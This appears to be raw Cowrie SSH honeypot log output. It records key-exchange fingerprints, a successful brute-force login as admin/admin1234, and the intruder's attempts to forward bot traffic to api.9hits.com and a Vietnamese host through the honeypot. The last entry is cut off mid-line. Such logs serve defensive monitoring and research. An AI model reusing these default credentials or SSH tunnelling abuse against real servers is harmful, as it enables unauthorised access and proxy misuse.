{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.605639Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.868899Z","src_ip":"91.92.40.36","session":"349c568e6dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.939086Z","src_ip":"91.92.40.36","session":"4214807f63d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:35.081151Z","src_ip":"91.92.40.36","session":"349c568e6dc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:35.863575Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30950,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7e242cd87d","protocol":"ssh","message":"New connection: 91.92.40.36:30950 (159.203.135.109:22) [session: 7d7e242cd87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.607753Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.718485Z","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.722558Z","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.779907Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.4 Mobile/16D57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K1YwbUhWdG44TipxR0NFMw%3D%3DE6EmXjbc2dmVwpxWcrTjje3Wd3wZmhzA1zgKf%2FlbVKjMcy5%2B3HGLiL59WtVKwU6yw6yJPfBaq0%2Fnv4SHR3RcXPaaFx36mY6qdBVPM%2BOSNcQXCQj6nmQBcjYCnI16H1W9ObiZFA0%2FliNbadheiiIKdjWb%2B0nXsKGmTcHwP37Q1e8uDk1HpcMwujNvkeV75l7peGWkdNKl9MDtjgeQCHBhitP4DH%2BjPDzikQc0IFj7gFzTr7eyLiPRNlI7qNXYjMFQtjdiuCN8pctOrwZfiGcTi9ShUG6GHcbYfWxj4yQGg%2Fa1x8Mfsslm7920xwFn1j4tSU0zbTa0vpzXMgQhfDYOwGcgkzdVtpsRlbsC%2FO6vNmVNpwphf5T9IlsOlepcv87olZOqWUc0Qz7gp0XtO84GBvm9CnMjoFcoNGhbOV3yERbohfhNVsinOzCWGyR3UGwejc6um8%2B4C8e3KKKpe%2F3Sl5fQJjr6fpyJt4UMNbuyXh5F5syP8%2F4%2Blt82pAU0slYz3W8fGrCLMECc6iwogBxWuglXglzIiSxXWv2gpfsRoadJOyRIghmXT0GZBLLBKHQrARW6wp1YxAVCym8hABHUSSuGjBJVvrosyBKN2Xq3BLqZjoDIh3lNV%2BwitrOTTsWtyPh8PeEXHVJGLXifBwwZHb2m5%2FTfxHyLRGvjFzjxTHhstsyQK4trdGWIUYOyQWdG%2B%2BxxrTjeqVpPPdzZNxKpJyentYQhXkuQaY9UKIHiOBoBU4aBLZ4MMN79HaEldsRbycWZcNTeq6FzuhYnk0X2yJd4Cukn1gF90b7vefEqx5c2%2BHWAUl7Jx2SV9j3sOleWyS2iw9XEf3jMfChN%2Bw%2Bm3e9DdeZv8%2F7kcwn8v0EdikTKvko08fc0RsxAbL4sqmwbAjkljT3BMdYJRsHlZ2H1Kn%2BeVCbQm76klRXyNi5b5u4fvRRKsggWp2fVagVsM8MllGjUNBhP5bcFCpe3OCOswm5UxXPOqtP%2FQik6mFzJ7g%2BRsH8%2FvVxfUbIvvDQvQHY5dau8SpvouqLvEUPE1Terv7zWFdpVF7W0V%2BZJoFV2ZOA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.4 Mobile/16D57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K1YwbUhWdG44TipxR0NFMw%3D%3DE6EmXjbc2dmVwpxWcrTjje3Wd3wZmhzA1zgKf%2FlbVKjMcy5%2B3HGLiL59WtVKwU6yw6yJPfBaq0%2Fnv4SHR3RcXPaaFx36mY6qdBVPM%2BOSNcQXCQj6nmQBcjYCnI16H1W9ObiZFA0%2FliNbadheiiIKdjWb%2B0nXsKGmTcHwP37Q1e8uDk1HpcMwujNvkeV75l7peGWkdNKl9MDtjgeQCHBhitP4DH%2BjPDzikQc0IFj7gFzTr7eyLiPRNlI7qNXYjMFQtjdiuCN8pctOrwZfiGcTi9ShUG6GHcbYfWxj4yQGg%2Fa1x8Mfsslm7920xwFn1j4tSU0zbTa0vpzXMgQhfDYOwGcgkzdVtpsRlbsC%2FO6vNmVNpwphf5T9IlsOlepcv87olZOqWUc0Qz7gp0XtO84GBvm9CnMjoFcoNGhbOV3yERbohfhNVsinOzCWGyR3UGwejc6um8%2B4C8e3KKKpe%2F3Sl5fQJjr6fpyJt4UMNbuyXh5F5syP8%2F4%2Blt82pAU0slYz3W8fGrCLMECc6iwogBxWuglXglzIiSxXWv2gpfsRoadJOyRIghmXT0GZBLLBKHQrARW6wp1YxAVCym8hABHUSSuGjBJVvrosyBKN2Xq3BLqZjoDIh3lNV%2BwitrOTTsWtyPh8PeEXHVJGLXifBwwZHb2m5%2FTfxHyLRGvjFzjxTHhstsyQK4trdGWIUYOyQWdG%2B%2BxxrTjeqVpPPdzZNxKpJyentYQhXkuQaY9UKIHiOBoBU4aBLZ4MMN79HaEldsRbycWZcNTeq6FzuhYnk0X2yJd4Cukn1gF90b7vefEqx5c2%2BHWAUl7Jx2SV9j3sOleWyS2iw9XEf3jMfChN%2Bw%2Bm3e9DdeZv8%2F7kcwn8v0EdikTKvko08fc0RsxAbL4sqmwbAjkljT3BMdYJRsHlZ2H1Kn%2BeVCbQm76klRXyNi5b5u4fvRRKsggWp2fVagVsM8MllGjUNBhP5bcFCpe3OCOswm5UxXPOqtP%2FQik6mFzJ7g%2BRsH8%2FvVxfUbIvvDQvQHY5dau8SpvouqLvEUPE1Terv7zWFdpVF7W0V%2BZJoFV2ZOA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.783193Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.791698Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe7\\x13\\x858\\x98\\xc3\\xb4y\\x89\\x99\\xa2vp)\\x96VjEW\\x99\\xcaN\\x0b\\xa3\\xce\\x02f\\xa9>m\\xae\\xbb \\xbb\\xab~\\ts\\r\\xf0\\x95M\\xab\\xf1\\x19d\\x8a{4\\xf8\\x8c)\\xa9Vr\\xf63\\xe6?#\\xed\\x8d\\xce\\xc0\\xd9\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1\\x0c\\xa7\\x85v\\xc8\\x8c\\x94\\xe7q:!\\x14]A\\n\\xcb\\xad\\x9a\\xf9\\xc1\\x84\\xc9\\x80\\xe1\\x12\\xcb\\xb1\\xa2S\\xc7\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe7\\x13\\x858\\x98\\xc3\\xb4y\\x89\\x99\\xa2vp)\\x96VjEW\\x99\\xcaN\\x0b\\xa3\\xce\\x02f\\xa9>m\\xae\\xbb \\xbb\\xab~\\ts\\r\\xf0\\x95M\\xab\\xf1\\x19d\\x8a{4\\xf8\\x8c)\\xa9Vr\\xf63\\xe6?#\\xed\\x8d\\xce\\xc0\\xd9\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa1\\x0c\\xa7\\x85v\\xc8\\x8c\\x94\\xe7q:!\\x14]A\\n\\xcb\\xad\\x9a\\xf9\\xc1\\x84\\xc9\\x80\\xe1\\x12\\xcb\\xb1\\xa2S\\xc7\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.794129Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.909322Z","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.966800Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x10\\xfb\\xce4@\\xca\\x17N\\xad\\x10\\xe0\\xdf\\x15\\xd0\\x8f,\\x8d\\x9a\\x1b\\xaf\\xfc\\x08\\x87 \\x82\\xd6?\\xddz!\\x03z \\xfa\\xf3z\\x03j\\x8d\\x9f\\x144}p\\xa8\\x06?T\\xb2\\xb9Jq*\\x1fA]\\xf7\\xba\\x13s\\xa7\\xb9\\xd2\\x03\\x9a\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\xb1d \\xd4l\\xaaO\\xb8\\x14sX}\\xaa\\xd0Kn\\x93\\x9eS\\xa7\\xea\\x08PRM\\x1e\\xb0\\xfbo\\xfdF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x10\\xfb\\xce4@\\xca\\x17N\\xad\\x10\\xe0\\xdf\\x15\\xd0\\x8f,\\x8d\\x9a\\x1b\\xaf\\xfc\\x08\\x87 \\x82\\xd6?\\xddz!\\x03z \\xfa\\xf3z\\x03j\\x8d\\x9f\\x144}p\\xa8\\x06?T\\xb2\\xb9Jq*\\x1fA]\\xf7\\xba\\x13s\\xa7\\xb9\\xd2\\x03\\x9a\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xca\\xb1d \\xd4l\\xaaO\\xb8\\x14sX}\\xaa\\xd0Kn\\x93\\x9eS\\xa7\\xea\\x08PRM\\x1e\\xb0\\xfbo\\xfdF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a491